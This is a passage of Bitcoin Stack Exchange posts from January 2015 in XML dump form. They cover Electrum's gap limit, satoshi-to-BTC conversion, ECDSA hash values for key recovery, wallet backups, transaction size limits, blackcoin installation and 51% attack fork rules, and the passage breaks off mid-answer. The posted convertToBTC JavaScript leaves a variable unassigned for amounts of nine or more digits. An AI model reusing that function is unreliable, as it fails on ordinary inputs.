  <row Id="35557" PostTypeId="2" ParentId="35555" CreationDate="2015-01-17T02:18:57.070" Score="6" Body="&lt;p&gt;&lt;strong&gt;If you have your wallet seed it is fine:&lt;/strong&gt;&lt;br&gt;&#xA;From what I understand, your coins are safe, they will not be lost as long as you have wallet seed. When reimporting, Electrum would just not look far enough to find everything, until you nudge it a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;br&gt;&#xA;The gap limit gives the number of addresses that Electrum will generate from the seed starting from the last address that it found a balance on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message tells you that Electrum wouldn't find some of your addresses by itself, because Electrum would think that it arrived at the end of your transaction history, before all your transaction history is discovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example to make it graphic:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gap limit = &lt;strong&gt;3&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;S&lt;/strong&gt; is Seed&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;I&lt;/strong&gt; address with balance&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;•&lt;/strong&gt; address without balance.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;X&lt;/strong&gt; address with balance beyond gap-limit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An arbitrary transaction history:&lt;br&gt;&#xA;You have a balance on a few addresses, already spent/didn't use some addresses intermittently, and then you skipped a bunch (five here) for some reason before receiving balances on some more.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIIII•III••I•III•I•IIII•••••XXX&#xA;                       ^gap^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The gap of five is bigger than the currently set gap limit of three, so now, reimporting the seed, Electrum would only regenerate to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIIII•III••I•III•I•IIII•••&#xA;    last used address ^ +3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because it will only regenerate &lt;code&gt;gap-limit&lt;/code&gt; unused addresses after an address with a balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you set the gap limit higher (in the example to six), or use the previously unused addresses that make up the gap, Electrum will rediscover the addresses.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The imported wallet so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIIII•III••I•III•I•IIII•••&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Receive 4 new transactions &lt;strong&gt;N&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIIII•III••I•III•I•IIIINNNN••XXX&#xA;                             ^ oh, that &quot;new address&quot; was used!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Recovery of all addresses with balances plus &lt;code&gt;gap-limit&lt;/code&gt; new addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIIII•III••I•III•I•IIIIIIII••III•••&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Altogether, it shouldn't be much of a problem. Electrum should probably be able to safely store thousands of addresses, so unless you created a humongous gap, probably no need to think about any problems there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what you might want to do, is figure out just how many addresses you have now generated from your wallet seed. If you then want to recover your wallet on another computer, just generate the same amount of addresses or temporarily increase the gap limit until you have the same number of addresses.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-01-17T02:33:33.583" LastActivityDate="2015-01-17T02:33:33.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35558" PostTypeId="1" CreationDate="2015-01-17T03:26:30.310" Score="0" ViewCount="135" Body="&lt;p&gt;Assume that Bitcoin value versus the “fiat money” is of great significance and  imagine suddenly discounted by 50% or more, the current pools are not in money any more, stop hashing. The current Bitcoin system will automatically set the difficulty down ( exponentially decreasing mode and easy to mine blocks using again a laptop ). Any supervisory power on earth to ensure that  Bitcoin system will remain resilient if hashing conditions change rapidly?&lt;/p&gt;&#xA;" OwnerUserId="18637" LastEditorUserId="5406" LastEditDate="2015-01-19T09:26:29.863" LastActivityDate="2015-01-19T09:26:29.863" Title="Any supervisory power on earth to ensure that Bitcoin system will remain resilient if hashing conditions change rapidly?" Tags="|mining-pools|difficulty|price-volatility|governance|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35559" PostTypeId="2" ParentId="34275" CreationDate="2015-01-17T05:38:28.977" Score="3" Body="&lt;p&gt;Good idea on storing it in Satoshis. With anything involving money, you want to avoid floats due to rounding errors. The best way of doing this would be to parse the value in Satoshis as a string, then simply put a decimal place 8 digits from the end to get the value in Satoshis. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function convertToBTC(satoshis){&#xA;    var satoshi_string = satoshis.toString();&#xA;    var len_satoshi   = satoshi_string.length;&#xA;    if (len_satoshi &amp;lt; 9){&#xA;        concat_string = concat_zeroes(9 - len_satoshi, satoshi_string);&#xA;     }&#xA;    var btc_len = concat_string.length;&#xA;    var decimal_place = btc_len-8;&#xA;    var bitcoin_string = concat_string.slice(0,decimal_place).concat('.').concat(concat_string.slice(decimal_place, btc_len));&#xA;    return bitcoin_string;&#xA;}&#xA;&#xA;function concat_zeroes(num_zeroes, string1){&#xA;    while(num_zeroes){&#xA;         string1 = '0'.concat(string1);&#xA;         num_zeroes -= 1;&#xA;    }&#xA;    return string1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21377" LastActivityDate="2015-01-17T05:38:28.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35564" PostTypeId="1" CreationDate="2015-01-17T11:21:06.610" Score="2" ViewCount="3996" Body="&lt;p&gt;By following &lt;a href=&quot;http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recovering Bitcoin private keys using weak signatures from the blockchain&lt;/a&gt;, I am able to do other calculations, but I have no idea how to calculate &lt;code&gt;Z1&lt;/code&gt; or &lt;code&gt;Z2&lt;/code&gt;. There was a public code available by &lt;a href=&quot;https://bitcoin.stackexchange.com/a/32546/2306&quot;&gt;Sean Bradley&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://2coin.org/tx.asmx?op=GetTXExtended&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://2coin.org/tx.asmx?op=GetTXExtended&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it does not seems to work now. Is there some other public code to calculate &lt;code&gt;Z1&lt;/code&gt; and &lt;code&gt;Z2&lt;/code&gt; in any language. I can convert it to the language of my preference. Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="22963" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2020-12-27T15:50:46.250" Title="Where can I find code that allows me to calculate Z1 and Z2 from an ECDSA signature?" Tags="|private-key|ecdsa|recover-private-key|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35565" PostTypeId="1" AcceptedAnswerId="35569" CreationDate="2015-01-17T14:45:02.733" Score="2" ViewCount="3646" Body="&lt;p&gt;&lt;strong&gt;Can I generate a bitcoin address with my RSA private key?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explain also how and why.&lt;/p&gt;&#xA;" OwnerUserId="21259" LastActivityDate="2022-10-01T18:52:02.710" Title="Generate address with RSA private key" Tags="|address|address-generation|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35566" PostTypeId="1" CreationDate="2015-01-17T14:45:38.503" Score="1" ViewCount="392" Body="&lt;p&gt;Okay, I imported keys from my desktop to MultiBit, it took a while, now I have got a file on my desktop, when I open it with notepad there is like: &quot;receive, *walletadress&quot;, receive &lt;em&gt;walletadress&lt;/em&gt;&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, could you please tell me how to send money from these wallets to my current main wallet on localbitcoins?&lt;/p&gt;&#xA;" OwnerUserId="22966" LastActivityDate="2015-04-18T20:23:12.877" Title="How do I send money from imported keys to my localbitcoin wallet?" Tags="|wallet|multibit|localbitcoins|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35567" PostTypeId="2" ParentId="35566" CreationDate="2015-01-17T15:32:10.547" Score="2" Body="&lt;p&gt;First of all, there is no need for importing your private keys anywhere else if you want to keep them &lt;strong&gt;safe&lt;/strong&gt; and &lt;strong&gt;inaccessible by third parties&lt;/strong&gt; such as localbitcoins.info. You can simply create &lt;strong&gt;Output transaction&lt;/strong&gt; from your desktop PC from MultiBit wallet to the public key that is presented in your account on localbitcoins.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information how to create transaction follow guide from &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_sendingBitcoin.html&quot; rel=&quot;nofollow&quot;&gt;Multibit - Send bitcoins&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2015-01-17T15:32:10.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35569" PostTypeId="2" ParentId="35565" CreationDate="2015-01-17T16:01:26.323" Score="6" Body="&lt;p&gt;Not directly.  You'd first have to convert your RSA private key into an &lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot;&gt;secp256k1 ECDSA private key&lt;/a&gt; (a 256 bit value between 0x1 and 0xFFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFE BAAE DCE6 AF48 A03B BFD2 5E8C D036 4140).  You could do this by using a SHA256 hash of your RSA private key as your ECDSA private key.  Then you could import that hash (as a number) into a Bitcoin program that allows importing private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I strongly recommend against this.  Use your RSA key for the things it was designed for.  Use a Bitcoin program for generating new Bitcoin private keys.  Haphazardly mixing different crypto together almost always reduces your security.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-17T16:01:26.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35570" PostTypeId="1" CreationDate="2015-01-17T16:26:29.360" Score="15" ViewCount="8507" Body="&lt;p&gt;Is there a maximum recommended number of inputs/outputs for each transaction? I was scripting a faucet and wasn't sure whether to payout in one transaction to all addresses or split them into groups of say 100 or 1000.&lt;/p&gt;&#xA;" OwnerUserId="22970" LastEditorUserId="121614" LastEditDate="2022-09-24T21:48:50.133" LastActivityDate="2024-02-09T07:36:44.360" Title="What is the maximum number of inputs/outputs a transaction can have?" Tags="|transactions|transaction-input|output|transaction-weight|payment-batching|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35572" PostTypeId="1" AcceptedAnswerId="35580" CreationDate="2015-01-17T19:08:22.547" Score="13" ViewCount="2667" Body="&lt;p&gt;I'm having little problem here, trying to figure out the safest way to backup my wallet.dat to make sure that no BTC may be lost in case of recovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how the process of adding new addresses may affect a, say, a recently created backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically, do I need to backup continuously to make sure that no BTC are lost? do I need to backup after each new address is created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you provide me with some general golden rules when backing up wallet.dat?&lt;/p&gt;&#xA;" OwnerUserId="22974" LastEditorUserId="5406" LastEditDate="2015-01-18T00:55:43.610" LastActivityDate="2015-01-18T00:55:43.610" Title="How many addresses does my wallet.dat contain? Do I need to make a new backup every time I make a transaction?" Tags="|bitcoin-core|backup|keypool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35573" PostTypeId="1" AcceptedAnswerId="35574" CreationDate="2015-01-17T20:10:55.860" Score="2" ViewCount="192" Body="&lt;p&gt;For example, I have a BTC address. Can I (using RPC) get information is this address my local or remote?&lt;/p&gt;&#xA;" OwnerUserId="22798" LastEditorUserId="5406" LastEditDate="2015-01-18T20:41:34.473" LastActivityDate="2015-01-18T20:41:34.473" Title="How to tell whether an address is local or remote?" Tags="|address|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35574" PostTypeId="2" ParentId="35573" CreationDate="2015-01-17T20:20:39.487" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/developer-reference#validateaddress&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;validateaddress&lt;/code&gt; RPC&lt;/a&gt; will do precisely that.  Here's sample output from a testnet address with Bitcoin Core 0.10.0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;isvalid&quot; : true,&#xA;    &quot;address&quot; : &quot;mgnucj8nYqdrPFh2JfZSB1NmUThUGnmsqe&quot;,&#xA;    &quot;ismine&quot; : true,&#xA;    &quot;iswatchonly&quot; : false,&#xA;    &quot;isscript&quot; : false,&#xA;    &quot;pubkey&quot; : &quot;03bacb84c6464a58b3e0a53cc0ba4cb3b82848cd7bed25a7724b3cc75d76c9c1ba&quot;,&#xA;    &quot;iscompressed&quot; : true,&#xA;    &quot;account&quot; : &quot;test label&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the field &lt;code&gt;ismine&lt;/code&gt; is false, the address doesn't belong to the currently-running Bitcoin Core wallet.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="403" LastEditDate="2015-01-17T21:12:51.390" LastActivityDate="2015-01-17T21:12:51.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35575" PostTypeId="2" ParentId="35564" CreationDate="2015-01-17T21:40:31.520" Score="4" Body="&lt;p&gt;According to Nils's post, the &lt;code&gt;z&lt;/code&gt; values are the hashes that get signed in the ECDSA formula.  Background on what data goes into these hashes can be found on the &lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow&quot;&gt;OP_CHECKSIG wiki page&lt;/a&gt; and Krzysztof Okupski's excellent &lt;a href=&quot;https://github.com/minium/Bitcoin-Spec&quot; rel=&quot;nofollow&quot;&gt;developer reference PDF&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core's code for generating the hashes is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/sign.cpp#L94&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  Any other Bitcoin application that signs transactions (or verifies signatures) must have a compatible function (at least for the default SIGHASH_ALL), so you should be able to find an implementation in pretty much any popular programming language.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-17T21:40:31.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35576" PostTypeId="1" AcceptedAnswerId="35581" CreationDate="2015-01-17T21:50:05.437" Score="0" ViewCount="180" Body="&lt;p&gt;Given the volatile bitcoin value, how long is a transaction valid? For example, say a vendor requires X fiat currency via a bitcoin service provider. The service provider link (ie, coinbase.com) contains instructions (also via QR code) to pay Y bitcoins to account Z per the current market rate (this might include a transaction fee, I'm not sure). How long is this link valid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say the bitcoin value halves 24 hours later. Would I have saved X/2 money?&lt;/p&gt;&#xA;" OwnerUserId="22976" LastEditorUserId="22976" LastEditDate="2015-01-17T21:57:32.893" LastActivityDate="2015-01-17T23:14:06.733" Title="Transaction Duration" Tags="|transactions|exchange-rate|value|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35578" PostTypeId="2" ParentId="35570" CreationDate="2015-01-17T22:10:02.380" Score="12" Body="&lt;p&gt;The total size of the transaction must be less than 100,000 bytes or it will not be relayed across the network or included in blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There COULD be a miner that is mining &gt;100K transactions, but I don't think there is; if there is such a miner or you mine the transaction yourself then the limit would be the 1,000,000 byte blocksize limit.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-01-17T22:10:02.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35579" PostTypeId="2" ParentId="35570" CreationDate="2015-01-17T22:20:30.833" Score="4" Body="&lt;p&gt;The economical way in your case would be to pay off (create as much outputs) as you can to decrease the fee cost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some standard transaction with one proven input and one output is about 161 - 250 bytes. &lt;a href=&quot;https://en.bitcoin.it/wiki/Maximum_transaction_rate&quot; rel=&quot;nofollow&quot;&gt;see reference&lt;/a&gt; some est. basic values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;10 bytes for transaction header&lt;/li&gt;&#xA;&lt;li&gt;50 bytes for previous transaction reference&#xA;&lt;ul&gt;&#xA;&lt;li&gt;9 bytes for header&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;50 for output (depending on script size) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The standard requirement (for miners to include your tx) is to pay 0.0001 BTC per 1000 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your transaction is larger than 100 kB theoretical limit could be that your transaction is non-standard which means it fails the test IsStandard() for including the tx into the block because it is too large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, it is possible to include even non-standard transaction into the block. This is being done by several mining pools but usually requires slightly higher fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I estimate you can create transaction with up to 1900 outputs paying just 0.02 BTC fee and having transaction most probably verified in the upcoming block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that I have not tried this myself it is just my assumption. &lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2015-01-17T22:29:29.137" LastActivityDate="2015-01-17T22:29:29.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35580" PostTypeId="2" ParentId="35572" CreationDate="2015-01-17T22:25:34.877" Score="13" Body="&lt;p&gt;By default, Bitcoin Core creates 100 addresses the first time it starts, and tries to keep 100 not-yet-used keys in wallet.dat 'keypool' (when you unlock the wallet to make a payment it will generate more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you do not need to backup continuously. The 'getinfo' RPC command will tell you the time when the oldest not-yet-used key was generated ('keypoololdest').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any wallet backup created after the keypoololdest time will be good enough to recover all of the bitcoins sent to your wallet, but I'd suggest you figure out about how long it will take you to send and receive 100 transactions (e.g. two per day would be 50 days) and then backup about twice as often as that (maybe once a month if you're making 2 transactions per day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure your backups are encrypted with a strong passphrase, and make sure you store them someplace off-site that is safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for long-term storage of more than one or two bitcoins, use a hardware or paper wallet.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-01-17T22:25:34.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35581" PostTypeId="2" ParentId="35576" CreationDate="2015-01-17T23:14:06.733" Score="2" Body="&lt;p&gt;It's entirely up to the vendor (and you---you can always refuse to pay).  BitPay used to require payment within 10 minutes; recently they increased that to within 15 minutes.  I don't know what timeout Coinbase and other payment processors use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In each case, these payment processors require that they receive your transaction within the allotted time.  To be specific, you must enter the payment details into your wallet, click Send/Pay, enter your password if necessary, and wait for your wallet to sign and broadcast the transaction.  Then you must further wait for the transaction to traverse the network until it reaches the payment processor's node (happily, &lt;a href=&quot;http://bitcoinstats.com/network/propagation/&quot; rel=&quot;nofollow&quot;&gt;transaction propagation times&lt;/a&gt; are typically only a few seconds or less).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if your transaction doesn't arrive in time, the Bitcoin transaction itself is still valid.  What isn't valid is the contract of Y bitcoins for X value.  That means your bitcoins will be gone, but you'll have to contact the payment processor (and possibly the merchant) to arrange to pay an extra amount, to have an overpay refunded, or to request a full refund.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-17T23:14:06.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35582" PostTypeId="1" CreationDate="2015-01-17T23:35:45.970" Score="1" ViewCount="609" Body="&lt;p&gt;Could somebody tell me the commands to get blackcoin installed over the terminal? &lt;/p&gt;&#xA;" OwnerUserId="6661" LastEditorUserId="56167" LastEditDate="2017-07-26T09:17:19.503" LastActivityDate="2017-07-26T09:17:19.503" Title="How do you install blackcoin on a headless server or VPS?" Tags="|installation|blackcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35583" PostTypeId="2" ParentId="35582" CreationDate="2015-01-17T23:35:45.970" Score="3" Body="&lt;p&gt;You may need to slightly modify the following steps for your needs:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;ssh or log into the machine&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure that git is installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo apt-get install git&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clone the github repo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;git clone &lt;a href=&quot;https://github.com/rat4/blackcoin.git&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rat4/blackcoin.git&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Follow the instructions from the &lt;a href=&quot;https://github.com/rat4/blackcoin/blob/master/doc/build-unix.txt&quot; rel=&quot;nofollow&quot;&gt;installation documentation&lt;/a&gt;  which are:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sudo apt-get install build-essential libssl-dev libdb++-dev libboost-all-dev libqrencode-dev&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the makefile which will compile the program from the source we just downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cd blackcoin/src&#xA;make -f makefile.unix&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the newly created binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./blackcoind&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is also a #blackcoin irc channel on freenode where there are friendly blackcoiners happy to walk you through installation.  &lt;/p&gt;&#xA;" OwnerUserId="6661" LastActivityDate="2015-01-17T23:35:45.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35584" PostTypeId="1" AcceptedAnswerId="35585" CreationDate="2015-01-17T23:40:23.343" Score="6" ViewCount="718" Body="&lt;p&gt;In Bitcoin's proof-of-work system, consensus on which chain of blocks should be considered the &quot;true&quot; block chain is based only(?) on which chain is longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accordingly, to quote a nicely written &lt;a href=&quot;https://bitcoin.stackexchange.com/a/25121/19556&quot;&gt;answer&lt;/a&gt; by Nate Eldredge, a typical 51% attack would look like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Attacker privately starts mining their own chain, which diverges from the main chain at some block N.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Attacker deposits coins to your business, sending them from address A. Call this transaction X.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Attacker inserts in his own chain a transaction X' which conflicts with X; typically X' sends the coins from address A to another address belonging to the attacker.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Attacker waits for several confirmations of transaction X, in blocks N+1, ..., N+6 (replace 6 with however many confirmations your business wants) of the main chain.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Once there have been enough confirmations to satisfy you, you deliver goods or services to attacker.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Attacker releases his own chain, which now has blocks up to, say, N+50. Being longer, this chain is accepted by the network. This chain doesn't contain the transaction X but instead X', so you don't have the coins you thought you did.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Notice that up until Step 6, everything on the network looks completely normal; only the attacker knows what is going on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question then is: why doesn't bitcoin specify a &lt;em&gt;maximum duration of time&lt;/em&gt; and/or a &lt;em&gt;maximum number of confirmations&lt;/em&gt;, after which a competing/forking block is rejected even if it's backed by a longer chain of (secretly premined) child blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize this idea in pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CUTOFF_TIME = 1200 # seconds&#xA;CUTOFF_CONFIRMATIONS = 3&#xA;&#xA;is_acceptable_block(new_block, parent_block):&#xA;    if not is_valid_block(new_block):&#xA;        return false&#xA;&#xA;    if is_first_child(new_block, parent_block):&#xA;        return true&#xA;&#xA;    old_block = get_first_child(parent_block)&#xA;&#xA;    if age_difference(new_block, old_block) &amp;gt; CUTOFF_TIME:&#xA;        return false&#xA;&#xA;    if child_chain_length(old_block) &amp;gt; CUTOFF_CONFIRMATIONS:&#xA;        return false&#xA;&#xA;    return child_chain_length(new_block) &amp;gt; child_chain_length(old_block)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this would be viable, then the 51% attack scenario described above would become much harder; and as a result, the amount of time/confirmations to wait for before a transaction can be safely believed would decrease, right?&lt;/p&gt;&#xA;" OwnerUserId="19556" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-06-17T16:12:52.690" Title="Why doesn't bitcoin place additional constraints on competing block chain forks, other than length of chain? (e.g., time and confirmation count)" Tags="|blockchain|doublespend|blockchain-fork|majority-attack|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35585" PostTypeId="2" ParentId="35584" CreationDate="2015-01-18T00:17:16.043" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My question then is: why doesn't bitcoin specify a maximum duration of time and/or a maximum number of confirmations, after which a competing/forking block is rejected even if it's backed by a longer chain of (secretly premined) child blocks?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because &lt;em&gt;you can't prove that&lt;/em&gt; to nodes that weren't on the network at the time of the attack. Which means that either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It's possible for an attacker to create a new chain, and if enough nodes join the network while the new chain is the best one, it will lead to a situation where half of the nodes believe that one chain is the best, and half think the other chain is the best.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you make new nodes trust old nodes when they say that the best chain isn't the real chain, you're now expanding the circle of people you trust to the people relaying the chain, in addition to the people mining it. Before, if two nodes thought different chains were best, you could download both and say with certainty that one was better than the other. If you implemented this change, you would need to decide which node was more trustworthy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If this would be viable, then the 51% attack scenario described above would become much harder; and as a result, the amount of time/confirmations to wait for before a transaction can be safely believed would decrease, right?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A 51% attack can double-spend outputs with &lt;em&gt;any number of confirmations.&lt;/em&gt; The oft-quoted 6 confirmations figure comes from &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot;&gt;the Bitcoin paper&lt;/a&gt;, where Satoshi calculates that an attacker with 10% of the network hashpower would have less than a 0.1% chance to catch up.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-18T02:36:26.110" LastActivityDate="2015-01-18T02:36:26.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35586" PostTypeId="2" ParentId="35584" CreationDate="2015-01-18T00:20:57.097" Score="8" Body="&lt;p&gt;First, a quick clarification: assuming two chains both have valid blocks, it's the chain with the most proof of work that wins, not necessarily the chain with the most blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, thanks for the psuedocode.  It's always nice answering a question written in clear code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that we want nodes to be able to agree on the best block chain based entirely on the data in the block chain.  That is, there should be no external state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?  Because different nodes might have different external state.  Let's say an attacker manages to partition the network so that everyone in Europe is working on one chain and everyone in North America is working on a different chain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        /--&amp;gt; C  -&amp;gt; D  -&amp;gt; E  -&amp;gt; F  -&amp;gt; G  Europe Chain&#xA;A -&amp;gt; B -&#xA;        